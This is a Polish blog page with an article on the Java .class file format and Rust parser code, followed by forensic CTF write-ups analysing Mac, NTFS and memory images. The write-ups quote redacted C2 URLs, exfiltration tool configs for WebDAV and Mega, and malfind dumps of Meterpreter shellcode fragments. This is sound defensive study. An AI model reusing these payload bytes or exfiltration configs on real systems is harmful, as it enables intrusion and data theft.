Autor: Dawid Pągowski

  • Plik .class (Java)

    Plik .class (Java)

    W środowisku Javy zawsze irytowała mnie jedna rzecz: brak dopracowanych narzędzi do rewersingu. Na przykład, jedyny debugger oferujący kontrolę na poziomie pojedynczych instrukcji to JDB, który nie potrafi wyświetlić wykonywanych instrukcji.

    Z tego powodu postanowiłem napisać swój własny debugger, a do tego potrzebny mi był parser plików .class, czyli skompilowanych plików Javy.

    Czym jest ten cały plik .class?

    Najprościej: plik .class to pojedyncza, skompilowana klasa Javy. Zawiera on:

    • 🔤 użyte stringi
    • 1️⃣ zmienne klasowe: ich nazwy, typ zmiennej
    • ⚙️ funkcje: nazwy, skompilowany kod
    • ℹ️ metadane: przykładowo nazwa pliku źródłowego

    Poniżej znajdziesz strukturę tego pliku.

    Struktura pliku .class

    Edytor ImHex (świetne narzędzie swoją drogą) ma gotowy wzór do plików .class. Oto kawałek klasy hello/HelloWorld otwarty w edytorze:

    Zrzut ekranu z edytora ImHex z otwartym plikiem .class. Zaznaczone kolorowe fragmenty.
    Surowe bajty w pliku .class z zaznaczonymi danymi
    Zrzut ekranu z edytora ImHex z otwartym plikiem .class. Wyświetlony fragment przetworzonych danych.
    Odczytane dane z pliku .class

    A oto mój fragment mojego debuggera (który piszę w języku Rust), określający strukturę pliku .class:

    #[binrw]
    #[brw(big)]
    pub struct JavaClassFile {
        pub version: Version,
    
        pub constant_pool: ConstantPool,
        pub access_flags: ClassAccessFlags,
        pub this_class: u16,
        pub super_class: u16,
    
        interfaces_length: u16,
        #[br(count = interfaces_length)]
        pub interfaces: Vec<u16>,
    
        fields_length: u16,
        #[br(count = fields_length)]
        pub fields: Vec<FieldInfo>,
    
        methods_length: u16,
        #[br(count = methods_length)]
        pub methods: Vec<MethodInfo>,
    
        attributes_length: u16,
        #[br(count = attributes_length)]
        pub attributes: Vec<AttributeInfo>,
    }
    • version: wersja kompilatora
    • constant_pool: pula stałych – wszystkie liczby, stringi, odniesienia do innych klas
    • access_flags: czy klasa jest publiczna, finalna itd.
    • this_class: indeks w puli stałych wskazujący na nazwę klasy
    • super_class: indeks w puli stałych wskazujący na nazwę dziedziczonej klasy
    • interfaces: interfejsy przypisane do klasy
    • fields: zmienne
    • methods: funkcje
    • attributes: atrybuty, takie jak: oryginalna nazwa pliku źródłowego

    Plik .class przestrzega porządku big-endian, co oznacza, że każda liczba jest zapisywana od lewej do prawej. Przykładowo:

    • liczba 16-bitowa 0xFFEE zostanie zapisana: FF EE
    • w porządku little-endian byłoby to: EE FF (od tyłu)

    Każda kolekcja (funkcji, zmiennych itd.) jest poprzedzona ich długością. Jest ona potrzebna, aby program przetwarzający wiedział ile funkcji, zmiennych czy atrybutów ma odczytać.

    Do zrozumienia wszystkich innych elementów .class, potrzebna jest znajomość puli stałych, która przechowuje wartości wykorzystywane w całym pliku – nawet w kodzie funkcji.

    Pula stałych (constant pool)

    Każda wartość w puli jest poprzedzona identyfikatorem (bajtem):

    impl TryFrom<u8> for ConstantPoolTag {
        type Error = InvalidCpTag;
    
        fn try_from(value: u8) -> Result<Self, Self::Error> {
            match value {
                1 => Ok(ConstantPoolTag::Utf8),
                3 => Ok(ConstantPoolTag::Integer),
                4 => Ok(ConstantPoolTag::Float),
                5 => Ok(ConstantPoolTag::Long),
                6 => Ok(ConstantPoolTag::Double),
                7 => Ok(ConstantPoolTag::Class),
                8 => Ok(ConstantPoolTag::String),
                9 => Ok(ConstantPoolTag::FieldRef),
                10 => Ok(ConstantPoolTag::MethodRef),
                11 => Ok(ConstantPoolTag::InterfaceMethodRef),
                12 => Ok(ConstantPoolTag::NameAndType),
                15 => Ok(ConstantPoolTag::MethodHandle),
                16 => Ok(ConstantPoolTag::MethodType),
                17 => Ok(ConstantPoolTag::Dynamic),
                18 => Ok(ConstantPoolTag::InvokeDynamic),
                19 => Ok(ConstantPoolTag::Module),
                20 => Ok(ConstantPoolTag::Package),
                other => Err(InvalidCpTag { tag: other }),
            }
        }
    }

    Z powyższego kodu wynika, że po napotkaniu bajtu „5”, następujące bajty będą reprezentowały 64-bitową liczbę całkowitą (Long):

    [...]
    ConstantPoolTag::Long => {
        let v = i64::read_options(reader, endian, args)?;
        Ok(ConstantPoolEntry::Long(v))
    }
    [...]

    A oto przykład takiego wpisu w prawdziwym pliku:

    Zrzut ekranu z edytora ImHex. Zaznaczony wpis z puli stałych z pliku .class.
    Widoczny wpis 64-bitowej liczby całkowitej w puli stałych

    Z powyższego zrzutu ekranu wynika, że wpis #143 w puli to 64-bitowa liczba całkowita 1000 (0x3E8).

    Pola i metody

    Pola i metody w pliku .class są zapisywane praktycznie tak samo. Składają się z:

    • flag dostępowych (publiczne, prywatne itd.)
    • indeksu wskazującego na nazwę
    • indeksu wskazującego na deskryptor
    • atrybutów
    #[binrw]
    pub struct FieldInfo {
        pub access_flags: FieldAccessFlags,
        pub name_index: u16,
        pub descriptor_index: u16,
        attributes_length: u16,
        #[br(count = attributes_length)]
        pub attributes: Vec<AttributeInfo>,
    }
    #[binrw]
    pub struct MethodInfo {
        pub access_flags: MethodAccessFlags,
        pub name_index: u16,
        pub descriptor_index: u16,
        attributes_length: u16,
        #[br(count = attributes_length)]
        pub attributes: Vec<AttributeInfo>,
    }

    Wspomniane dwa indeksy muszą wskazywać na element UTF-8 w puli stałych (na ciąg znaków).

    Deskryptor określa typ zmiennej, albo parametry i zwracany typ metody. Jest to ciąg znaków składający się głównie z liter:

    match descriptor.chars().next().unwrap() {
        'L' => {
            let semicolon_pos = descriptor
                .find(';')
                .ok_or(DescriptorError::ClassTerminatorNotFound)?;
    
            let class_name = &descriptor[1..semicolon_pos];
            Ok(ComponentType::Object {
                class_name: class_name.to_string(),
            })
        }
        'B' => Ok(ComponentType::Base(Type::SignedByte)),
        'C' => Ok(ComponentType::Base(Type::Char)),
        'D' => Ok(ComponentType::Base(Type::Double)),
        'F' => Ok(ComponentType::Base(Type::Float)),
        'I' => Ok(ComponentType::Base(Type::Integer)),
        'J' => Ok(ComponentType::Base(Type::Long)),
        'S' => Ok(ComponentType::Base(Type::Short)),
        'Z' => Ok(ComponentType::Base(Type::Boolean)),
        other => Err(DescriptorError::InvalidChar(other)),
    }

    Oprócz wyżej wymienionych liter w deskryptorze może znajdować się „[„, co oznaczałoby, że typ będzie tablicą elementów. Przykładowo:

    • deskryptor „J” oznacza typ Long
    • deskryptor „[[J” oznacza dwuwymiarową tablicę Longów
    • deskryptor „Lhello/World;” oznacza klasę hello.World

    Atrybuty

    Mogłeś zauważyć, że atrybuty są wykorzystywane w wielu miejscach w plikach .class: w FieldInfo, MethodInfo i nawet w samej klasie.

    Zbudowane są z indeksu wskazującego na nazwę atrybutu oraz danych:

    #[binrw]
    pub struct AttributeInfo {
        pub name_index: u16,
        data_length: u32,
        #[br(count = data_length)]
        pub data: Vec<u8>,
    }

    Program przetwarzający .class przetwarza dane na podstawie nazwy odczytanej z puli stałych.

    Przykładowo, jeżeli name_index wskazuje na string SourceFile, parser będzie wiedział, że data zawiera string UTF-8, który jest nazwą oryginalnego pliku źródłowego (np. HelloWorld.java).

    Wszystkie atrybuty są zdefiniowane w specyfikacji JVM.

    Ważnym atrybutem jest Code, który zawiera skompilowany bytecode funkcji:

    Code_attribute {
        u2 attribute_name_index;
        u4 attribute_length;
        u2 max_stack;
        u2 max_locals;
        u4 code_length;
        u1 code[code_length];
        u2 exception_table_length;
        {   u2 start_pc;
            u2 end_pc;
            u2 handler_pc;
            u2 catch_type;
        } exception_table[exception_table_length];
        u2 attributes_count;
        attribute_info attributes[attributes_count];
    }

    Dlaczego to ważne?

    Zrozumienie struktury plików .class ma praktyczne zastosowania:

    • Reverse engineering i debugging – pozwala analizować, jak dokładnie działa kod Javy po kompilacji, a także pisać własne narzędzia do debugowania czy analizy
    • Bezpieczeństwo – analiza plików .class pomaga w badaniu malware pisanego w Javie albo w szukaniu luk w kodzie
    • Narzędzia deweloperskie – wiele popularnych narzędzi (np. dekompilatory, frameworki testowe czy biblioteki do instrumentacji kodu) bazuje na parsowaniu plików .class. Wiedząc, jak one są zbudowane, łatwiej jest pisać własne rozszerzenia
    • Głębsze zrozumienie JVM – dzięki znajomości szczegółów formatu .class programista lepiej rozumie, jak Java „od środka” reprezentuje klasy, metody i typy

    Podsumowanie

    • Pliki .class to skompilowane pliki Javy
    • Wszystkie literały (liczby, stringi) i odniesienia do klas są w jednej, indeksowanej puli
    • Funkcje i pola są zdefiniowane w listach
    • Klasy, funkcje oraz pola posiadają atrybuty, które definiują np. kod funkcji, albo to, czy dana zmienna jest przestarzała
    • Cała specyfikacji pliku .class jest dostępna tutaj

  • TryHackMe – Honeynet Collapse CTF

    TryHackMe – Honeynet Collapse CTF

    Dnia 26 lipca 2025 na TryHackMe odbywał się blue-teamowy konkurs Capture The Flag o nazwie Honeynet Collapse CTF. Był ściśle związany z tematyką infromatyki śledczej. Zająłem w nim piąte miejsce!

    Writeupy do wszystkich zadań znajdują się na dole strony.

    CTF zawierał w sumie sześć zadań, w każdym było po sześć pytań:

    • dwa łatwe 🟢🟢 (30 punktów każde)
    • dwa średnie 🟡🟡 (60 punktów każde)
    • jedno trudne 🔴 (120 punktów każde)
    • jedno bonusowe 🌟 (25 punktów każde)

    Zadania były różne:

    • niektóre opierały się na analizie systemu „na żywo” (wprost analizowałem zainfekowany system)
    • analizie obrazów dysku (NTFS: jeden pełny obraz i jeden częściowy)
    • oraz analizie obrazu dysku komputera Mac.

    Postanowiłem opisać każde zadanie krok po kroku (pomijając dwa pierwsze: zasady i wprowadzenie tematyczne):

  • THM Honeynet Collapse – Zadanie 8

    THM Honeynet Collapse – Zadanie 8

    Ostatnim zadaniem w CTFie Honeynet Collapse było zadanie ósme. Polegało ono na analizie obrazu dysku urządzenia Mac. Użytkownik pobrał i zainstalował pewnego wirusa, a ja musiałem znaleźć informacje na jego temat.

    Pytanie 1. — strona pobierania

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Z jakiej strony internetowej użytkownik pobrał instalator złośliwej aplikacji?

    Pierwsze co przyszło mi na myśl to przejrzenie historii przeglądania Safarii. Pliki tej przeglądarki znajdują się w katalogu ~/Library/Safari (~ oznacza katalog domowy użytkownika). Plik History.db odpowiada za przechowywanie historii przeglądania:

    Po zamontowaniu obrazu dysku przy użyciu apfs-fuse, otworzyłem plik History.db w aplikacji DB Browser for SQLite. W tabeli history_items znalazłem URL z domeną .thm, który był odpowiedzią na pytanie pierwsze:

    id | url                     | domain_expansion  [...]
    [...]
    55 | http://deve*******.thm/ | NULL              [...]
    [...]

    Pytanie 2. — plik instalacyjny

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Jak nazywa się instalator złośliwej aplikacji?

    Najbardziej oczywistym miejscem do sprawdzenia był katalog Downloads, ale tam nie było szukanego instalatora (był za toDocker.dmg, ale to nie ten plik).

    Będąc jeszcze w katalogu z plikami Safarii, przejrzałem zawartość pliku Downloads.plist:

    $ plistutil -i ./Downloads.plist

    W historii pobierania znajdował się jeden wpis:

    [...]
    <date>2025-07-04T10:08:25Z</date>
    <key>DownloadEntryURL</key>
    <string>http://devexxxxxx.thm/Devexxxxxxxxx.pkg</string>
    <key>DownloadEntrySandboxIdentifier</key>
    <string>5E5E49EB-A07C-489C-B6D6-BCE05557044C</string>
    <key>DownloadEntryBookmarkBlob</key>
    [...]

    Odpowiedzią na pytanie drugie było Develxxxxxxxxx.pkg.

    Pytanie 3. — data i czas instalacji

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Kiedy złośliwa aplikacja została zainstalowana w systemie?

    Aby znaleźć czas instalacji pakietu, postanowiłem przeszukać plik install.log, który znajdował się w katalogu /private/var/log.

    Po wyszukaniu w pliku nazwy instalatora znalazłem następujący wpis:

    2025-07-04 xx:yy:zz-07 Lucass-Virtual-Machine installd[709]: Installed "Devexxxxxxxxxx" ()

    Liczba „-07” przy czasie oznacza, że komputer był w strefie czasowej odsuniętej od UTC o siedem godzin. Z tego powodu odpowiedzią na pytanie był data i czas przesunięty o siedem godzin w przyszłość.

    Pytanie 4. — uprawnienia TCC

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Które uprawnienie TCC zostało najpierw zażądane przez aplikację?

    Uprawnienia TCC (Transparency, Consent and Control)pozwalają użytkownikowi na wyraźne przyznawanie aplikacjom dostępu do wrażliwych usług i danych (np. do kamerki, mikrofonu itd.).

    Informacje na temat przydzielonych uprawnień znajdują się w katalogu ~/Library/Application Support/com.apple.TCC/TCC.db (dostępny jest również plik dla całego systemu). Po otwarciu pliku TCC.db w przeglądarce baz danych szybko znalazłem pierwsze żądane uprawnienie:

    Pytanie 5. — pełny adres URL do serwera C2

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Jaki jest pełny adres URL C2, do którego aplikacja przesłała dane?

    We wcześniej analizowanym pliku install.log był widoczny wpis wskazujący ścieżkę instalacji:

    xxxx xxxx Lucass-Virtual-Machine installd[709]: PackageKit: Touched bundle /Applications/Devexxxxxxxx.app

    Po przejściu do katalogu /Applications/Devexxxxxxxx.app wystarczyło zgrepować rekursywnie katalog po frazie „http„:

    Resources/script:LR="http://c7.macos-uxxxxxxxxxxx.info:8080"
    
    grep: Resources/MainMenu.nib/keyedobjects-101300.nib: plik binarny pasuje do wzorca
    grep: Resources/MainMenu.nib/keyedobjects.nib: plik binarny pasuje do wzorca

    Adres http://c7.macos-uxxxxxxxxxxx.info:8080 był odpowiedzią na pytanie piąte.

    Pytanie 6. — pełny adres URL do serwera C2

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Jakiego mechanizmu persistence używała aplikacja?

    W ostatnim zadaniu w całym CTFie trzeba było znaleźć mechanizm, za pomocą którego aplikacja utrzymywała działanie w systemie.

    Pierwszy mechanizm, który przyszedł mi na myśl to LaunchAgent. Na początek sprawdziłem katalog systemowy /System/Library/LaunchAgents, ale w nim był jedynie plik związany z agentem Spice.

    Drugim katalogiem jakim sprawdziłem był katalog ~/Library/LaunchAgents, w którym już jasno było widać plik autostartu złośliwej aplikacji:

    ┌──(bonk㉿bonx)-[~/mac/root]
    └─$ cd Users/lucasrivera/Library/LaunchAgents 
                                                                                                                                                                                                                                                
    ┌──(bonk㉿bonx)-[~/.../Users/lucasrivera/Library/LaunchAgents]
    └─$ ls
    com.developai.agent.plist  DevelopAI.sh

  • THM Honeynet Collapse – Zadanie 7

    THM Honeynet Collapse – Zadanie 7

    Zadanie 7 w CTFie Honeynet Collapse to trudniejsza wersja zadania 6. Było ono bardziej skupione na analizie systemu plików, a nie artefaktów samego Windowsa.

    Tutaj również mieliśmy obraz dysku, tylko że niekompletny. Dostępne były jedynie pliki systemowe NTFS (tablica MFT, pliki dziennika USNJournal itd.).

    Otrzymany obraz to obraz dysku kontrolera domeny po ataku ransomware.

    Pytania 1., 2. i 4. — pobranie ransomware-u

    • Poziom trudności: łatwy 🟢, łatwy 🟢 i średni 🟡
    • Liczba punktów: 30, 30 i 60
    • Treść (1): Jaki jest pełny adres URL, z którego pobrane zostało oprogramowanie ransomware?
    • Treść (2): Jaka była oryginalna nazwa pliku wykonywalnego oprogramowania ransomware pobranego na host?
    • Treść (4): Jakie rozszerzenie pliku zostało dodane do zaszyfrowanych plików?

    Szczerze mówiąc nie byłem pewien jak do tego podejść, ale na szczęście nie miałem zbyt wielu opcji. Wyeksportowałem plik $MFT, który jest tablicą wszystkich plików w systemie NTFS:

    Następnie użyłem narzędzia MFTECmd autorstwa Erica Zimmermana do sparsowania tablicy MFT:

    C:\Users\bonk\Desktop\net9>MFTECmd.exe -f $MFT --csv dc --csvf mft.csv
    MFTECmd version 1.3.0.0
    
    Author: Eric Zimmerman (saericzimmerman@gmail.com)
    https://github.com/EricZimmerman/MFTECmd
    
    Command line: -f $MFT --csv dc --csvf mft.csv
    
    Warning: Administrator privileges not found!
    
    File type: Mft
    
    Processed $MFT in 10,4956 seconds
    
    $MFT: FILE records found: 500 382 (Free records: 235 248) File size: 718,5MB
    Path to dc doesn't exist. Creating...
            CSV output will be saved to dc\mft.csv

    Otworzyłem plik w TimelineExplorerze (również autorstwa Zimmermana) i zacząłem plików mających Downloads w nazwie ścieżki.

    Bardzo szybko znalazłem kilka podejrzanych plików, które miały przypisane metadane dotyczące pochodzenia pliku — a w nim szukany adres URL (odpowiedź na pierwsze pytanie):

    W pobliżu pobranego HiddenFile.zip znajdował się również plik wykonywalny (odpowiedź na drugie pytanie):

    Na tym samym zrzucie ekranu widać również dodawane do zaszyfrowanych plików przez program pięcioliterowe rozszerzenie (złożone z samych liter) — odpowiedź na czwarte pytanie.

    Pytanie 3. — plik szyfrujący

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Który plik wykonywalny zainicjował proces szyfrowania w systemie?

    Znaleziony przeze mnie dwuliterowy plik nie był tym, który zaszyfrował wszystkie pliki. Był jedynie stubem, który pobierał prawdziwe oprogramowanie ransomware.

    Zanotowałem datę i czas ostatniego dostępu do stuba (2025-07-04 11:35:36), usunąłem filtr i posortowałem wszystkie pliki po dacie utworzenia.

    Szukałem utworzonych plików po tym czasie i bardzo szybko znalazłem plik w podejrzanej ścieżce C:\DeceptiFiles\Deployment\Agents, który został utworzony około dziewięć minut po uruchomieniu stuba:

    Nazwa tego pliku była odpowiedzią na pytanie trzecie!

    Pytanie 5. — nazwa grupy ransomware-owej

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Wyjdź poza oczywiste wnioski – która grupa ransomware zaatakowała organizację?

    Zadanie piąte jako jedyne w całym CTFie opierało się na
    OSINT-cie. Miałem znaleźć nazwę grupy odpowiedzialnej za atak ransomware przeprowadzony na analizowanym kontrolerze domen.

    Nie miałem dostępu do plików na dysku, ale pamiętałem, że w opisie zadania autorzy zamieścili ocenzurowaną wersję wiadomości od grupy:

    Postanowiłem, że dalsze przeszukiwanie pliku $MFT nie ma sensu i wklepałem w Google (DuckDuckGo nie zwróciło żadnych wyników) widoczny dopisek do URLa pierwszej strony (f8cef2c0f8fd):

    Jedynym wynikiem był wpis ze strony tria.ge, na której była dostępna nieocenzurowana wersja wiadomości:

    Po wklejeniu adresu bloga w przeglądarkę TOR, otrzymałem odpowiedź na pytanie piąte:

    Pytanie 6. — dodatkowe instrukcje

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Jaka jest nazwa pliku zawierającego dodatkowe instrukcje dotyczące okupu dla ofiary?

    Okazało się, że na dysku znajdował się jeszcze jeden plik z instrukcjami. Na szczęście nie zamknąłem jeszcze wtedy okna TimelineExplorera i po zjechaniu w dół listy o centymetr, znalazłem odpowiedź:

  • THM Honeynet Collapse – Zadanie 6

    THM Honeynet Collapse – Zadanie 6

    Po analizie zrzutu pamięci RAM Honeynet Collapse miało dla mnie zadanie 6. Polegało ono na analizie obrazu dysku serwera Windows. W trakcie ataku logi zdarzeń zostały usunięte, więc musiałem polegać wyłącznie na narzędziach EZ-Tools.

    Pytanie 1. — konto ofiary

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Które konto domenowe zostało użyte do zainicjowania zdalnej sesji na hoście?

    W tym zadaniu miałem znaleźć konto, którego użył atakujący do początkowego połączenia do badanego serwera.

    Nie będę ściemniał, to zadanie rozwiązałem w pięć sekund.
    Z opisu zadania wynika, że atakujący użył poświadczeń niejakiego Matthewsa: „[… ] the attacker had already slipped into the server with Matthew’s stolen credentials […]”.

    A kogo hash NTLM skradliśmy w zadaniu czwartym? Właśnie jego! Oto wynik pypykatza z pytania bonusowego:

    [...]
    == LogonSession ==
    authentication_id 66488374 (3f68836)
    session_id 4
    username matthew.cxxxxxxx
    domainname DECEPT
    logon_server DC-01
    [...]

    Odpowiedzią jest nazwa użytkownika (wartość po username).

    Pytanie 2. — długość sesji PowerShell

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Przez ile sekund atakujący utrzymywał aktywną sesję PowerShell?

    Od najprostszego pytania w całym CTFie przechodzimy do (najwyraźniej) najtrudniejszego. Na Discordzie THM (hosta CTFa) dużo ludzi zgłaszało, że nie potrafiło znaleźć odpowiedzi.

    Na myśl przyszedł mi klucz UserAssist w rejestrze, który przechowuje dane o uruchomionych programach oraz czasie focusowania okna. Wyeksportowałem plik NTUSER.DAT (UserAssist znajduje się w HKEY_CURRENT_USER) z katalogu Matthewsa. Dodatkowo wyeksportowałem logi transakcyjne, w razie gdyby NTUSER.DAT był oznaczony jako dirty:

    Następnie otworzyłem plik NTUSER.DAT w programie Registry Explorer (również autorstwa Zimmermana). Logi okazały się niepotrzebne. Po otwarciu pliku wybrałem zakładkę UserAssist:

    W wyświetlonej tabeli wybrałem sortowanie po nazwie programu i znalazłem PowerShella. Odczytałem wartość z kolumny Focus Time i zamieniłem wartość na całe sekundy:

    Poniżej wpisu z PowerShellem widać również bardzo interesującą ścieżkę: C:\ProgramData\sync\7zz.exe.

    Pytania 3., 4. i 5. — eksfiltracja danych

    • Poziom trudności: łatwy 🟢, średni 🟡 i trudny 🔴
    • Liczba punktów: 30, 60 i 120
    • Treść (1): Jaki był adres IP C2 używany przez atakującego do przygotowania ataku i eksfiltracji danych?
    • Treść (2): Jakiego znanego narzędzia użył atakujący do eksfiltracji danych?
    • Treść (3): Jakie jest „ukryte” hasło do kontrolowanego przez atakującego konta na serwisie Mega?

    Po uporaniu się z najcięższym zadaniem z całego CTFa, musiałem znaleźć adres serwera C2 (Command and Control) użytego podczas ataku i eksfiltracji danych.

    Oprócz wpisu PowerShella w UserAssist znalazłem również ścieżkę do folderu C:\ProgramData\sync. Znajdowały się w nim pliki potrzebne do odpowiedzi na trzy kolejne pytania:

    W crmhttp.conf znajdował się adres serwera C2:

    [crmremote]
    type = webdav
    url = http://xxx.yyy.zzz.ttt:8080

    W mega.conf znajdowało się ukryte hasło do konta na Mega (swoją drogą w trakcie CTFa udało mi się znaleźć nieukryte hasło, gdzieś w logach poleceń):

    [crmremote]
    type = mega
    user = harmlessuser98 <małpa> proton.me
    pass = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    Zostało jeszcze „trudne” pytanie dotyczące samego narzędzia. Ono również znajdowało się w katalogu sync, co prawda ze zmienioną nazwą (backup_win.exe) i pozornie usuniętą ikoną.

    Pozornie, bo wystarczyło wyeksportować plik na pulpit: pojawiła się ikonka, a w szczegółach pliku było widać faktyczną nazwę programu (i to w kilku miejscach):

    Pytanie 6. — email Lucasa

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Jaki jest adres email Lucasa znaleziony w eksfiltrowanych danych?

    To było pierwsze pytanie, na które znalazłem odpowiedź. Po otworzeniu obrazu dysku od razu zauważyłem folder o wymownej nazwie Exfil_Temp, w którym znajdowały się dwa pliki CSV. W pliku Users_export.csv znajdował się email Lucasa:

  • THM Honeynet Collapse – Zadanie 5

    THM Honeynet Collapse – Zadanie 5

    Po analizie systemów na żywo w CTFie Honeynet Collapse czekało na mnie zadanie 5. Polegało na analizie zrzutu pamięci RAM serwera. Autorzy zadania użyli kilkunastu modułów frameworku Volatility i zapisali ich wyniki w plikach tekstowych.

    Pytania 1., 2., 3. i 4. — złowrogi plik

    • Poziom trudności: łatwy 🟢, łatwy 🟢, średni 🟡 i średni 🟡
    • Liczba punktów: 30, 30, 60 i 60
    • Treść (1): Jaka jest bezwzględna ścieżka do początkowego złośliwego pliku uruchomionego na analizowanym hoście?
    • Treść (2): Który identyfikator procesu (PID) został przypisany do procesu użytego do wykonania początkowego ładunku?
    • Treść (3): Jakie było pełne polecenie użyte przez atakującego do uruchomienia początkowego wykonania na tym hoście?
    • Treść (4): Atak uruchomił różne procesy. Jak nazywa się ostatni proces w łańcuchu?

    Zacząłem od analizowania wyjścia modułu windows.pstree, który wyświetla drzewko uruchomionych procesów w systemie.

    Skróciłem wyjście niektórych modułów, żeby były bardziej czytelne.

    Szybko rzucił mi się w oczy ciąg rozpoczynający się od PSEXESVC.exe.

    Volatility 3 Framework 2.26.0
    
    PID, PPID, reszta
    
    [...]
    ** 2996 576	
    C:\Windows\PSEXESVC.exe
    
    *** 2100 2996	
    C:\Windows\system32\cmd.exe
    
    **** 2200 2100	
    C:\Windows\system32\conhost.exe 0x4
    
    **** xxxx 2100	
    C:\Windows\System32\rundll32.exe 
    rundll32.exe yyyyyy\MicrosoftUpdate.dll, RunMe
    
    ***** 2676 xxxx	
    C:\Windows\Tasks\windows-update.exe
    
    ****** 2680 2676
    C:\Windows\system32\conhost.exe 0x4
    
    ****** 1444 2676
    C:\Users\matthew.collins\Downloads\security-update.exe
    
    ******* 836 1444 
    C:\Windows\SYSTEM32\zzzzzzz.exe
    
    ******** 1652 836
    C:\Windows\system32\cmd.exe
    
    [...]

    Ktoś zdalnie uruchomił plik nazywający się… MicrosoftUpdate.dll, który znajdował się w katalogu… „Tasks„? Wygląda na to, że znaleźliśmy nasz złowrogi plik. Poza tym, zaczynając od modułu windows.pstree, znaleźliśmy odpowiedzi na cztery pozostałe pytania:

    • Pytanie pierwsze: ścieżka do MicrosoftUpdate.dll
    • Pytanie drugie: PID procesu rundll32.exe (xxxx)
    • Pytanie trzecie: rundll32.exe yyyyyy\MicrosoftUpdate.dll, RunMe
    • Pytanie czwarte: zzzzzzz.exe

    Tylko czemu proces zzzzzzz.exe jest tym ostatnim, skoro w drewku widać jeszcze cmd.exe? Z prostego powodu: proces 'z’ to bardzo popularne i proste narzędzie znajdujące się na każdym Windowsie. Z uwagi na to, że nie jest ono w stanie uruchamiać żadnych procesów samodzielnie, wywnioskowałem, że coś zmusiło ten proces do uruchomienia (i dlatego wybrałem z jako ostatni proces w pierwszej fazie ataku).

    Pytanie 5. — shellcode

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Jakie jest pierwsze pięć bajtów (w systemie szesnastkowym, np. 4d5a9000) shellcodu Meterpreter wstrzykniętego do niego (procesu zzzzzzz.exe)?

    W piątym pytaniu miałem znaleźć pierwsze pięć bajtu shellcodu Meterpretera wstrzykniętego w proces z. To wyjaśniałoby, jakim cudem proste narzędzie zaczęło uruchamiać inne programy. Meterpreter potrafi migrować do innych procesów — i tak najwyraźniej stało się w tym przypadku.

    Do znalezenia shellcodu w z użyłem modułu windows.malware.malfind, który szuka podejrzanych segmentów w pamięci procesów.

    W zapisanym wyjściu modułu znajdowały się dwa interesujące wyniki:

    Volatility 3 Framework 2.26.0
    
    PID	Process	Start VPN	End VPN	Tag	Protection	CommitCharge	PrivateMemory	File output	Notes	Hexdump	Disasm
    
    836	notepad.exe	0x1c8c6bd0000	0x1c8c6bd0fff	VadS	PAGE_EXECUTE_READWRITE	1	1	Disabled	N/A	
    fc 55 57 56 48 89 e7 e9 01 01 00 00 5e 48 83 ec .UWVH.......^H..
    78 e8 c8 00 00 00 41 51 41 50 52 51 56 48 31 d2 x.....AQAPRQVH1.
    65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 eH.R`H.R.H.R H.r
    50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 61 7c PH..JJM1.H1..<a|	
    0x1c8c6bd0000:	cld	
    0x1c8c6bd0001:	push	rbp
    0x1c8c6bd0002:	push	rdi
    0x1c8c6bd0003:	push	rsi
    0x1c8c6bd0004:	mov	rdi, rsp
    0x1c8c6bd0007:	jmp	0x1c8c6bd010d
    0x1c8c6bd000c:	pop	rsi
    0x1c8c6bd000d:	sub	rsp, 0x78
    0x1c8c6bd0011:	call	0x1c8c6bd00de
    0x1c8c6bd0016:	push	r9
    0x1c8c6bd0018:	push	r8
    0x1c8c6bd001a:	push	rdx
    0x1c8c6bd001b:	push	rcx
    0x1c8c6bd001c:	push	rsi
    0x1c8c6bd001d:	xor	rdx, rdx
    0x1c8c6bd0020:	mov	rdx, qword ptr gs:[rdx + 0x60]
    0x1c8c6bd0025:	mov	rdx, qword ptr [rdx + 0x18]
    0x1c8c6bd0029:	mov	rdx, qword ptr [rdx + 0x20]
    0x1c8c6bd002d:	mov	rsi, qword ptr [rdx + 0x50]
    0x1c8c6bd0031:	movzx	rcx, word ptr [rdx + 0x4a]
    0x1c8c6bd0036:	xor	r9, r9
    0x1c8c6bd0039:	xor	rax, rax
    0x1c8c6bd003c:	lodsb	al, byte ptr [rsi]
    0x1c8c6bd003d:	cmp	al, 0x61
    836	notepad.exe	0x1c8c6dd0000	0x1c8c6e01fff	VadS	PAGE_EXECUTE_READWRITE	50	1	Disabled	N/A	
    fc xx yy zz ee 81 ec 00 20 00 00 48 83 e4 f0 e8 .H..H... ..H....
    cc 00 00 00 41 51 41 50 52 51 56 48 31 d2 65 48 ....AQAPRQVH1.eH
    8b 52 60 48 8b 52 18 48 8b 52 20 48 0f b7 4a 4a .R`H.R.H.R H..JJ
    4d 31 c9 48 8b 72 50 48 31 c0 ac 3c 61 7c 02 2c M1.H.rPH1..<a|.,	
    0x1c8c6dd0000:	cld	
    0x1c8c6dd0001:	mov	rsi, rcx
    0x1c8c6dd0004:	sub	rsp, 0x2000
    0x1c8c6dd000b:	and	rsp, 0xfffffffffffffff0
    0x1c8c6dd000f:	call	0x1c8c6dd00e0
    0x1c8c6dd0014:	push	r9
    0x1c8c6dd0016:	push	r8
    0x1c8c6dd0018:	push	rdx
    0x1c8c6dd0019:	push	rcx
    0x1c8c6dd001a:	push	rsi
    0x1c8c6dd001b:	xor	rdx, rdx
    0x1c8c6dd001e:	mov	rdx, qword ptr gs:[rdx + 0x60]
    0x1c8c6dd0023:	mov	rdx, qword ptr [rdx + 0x18]
    0x1c8c6dd0027:	mov	rdx, qword ptr [rdx + 0x20]
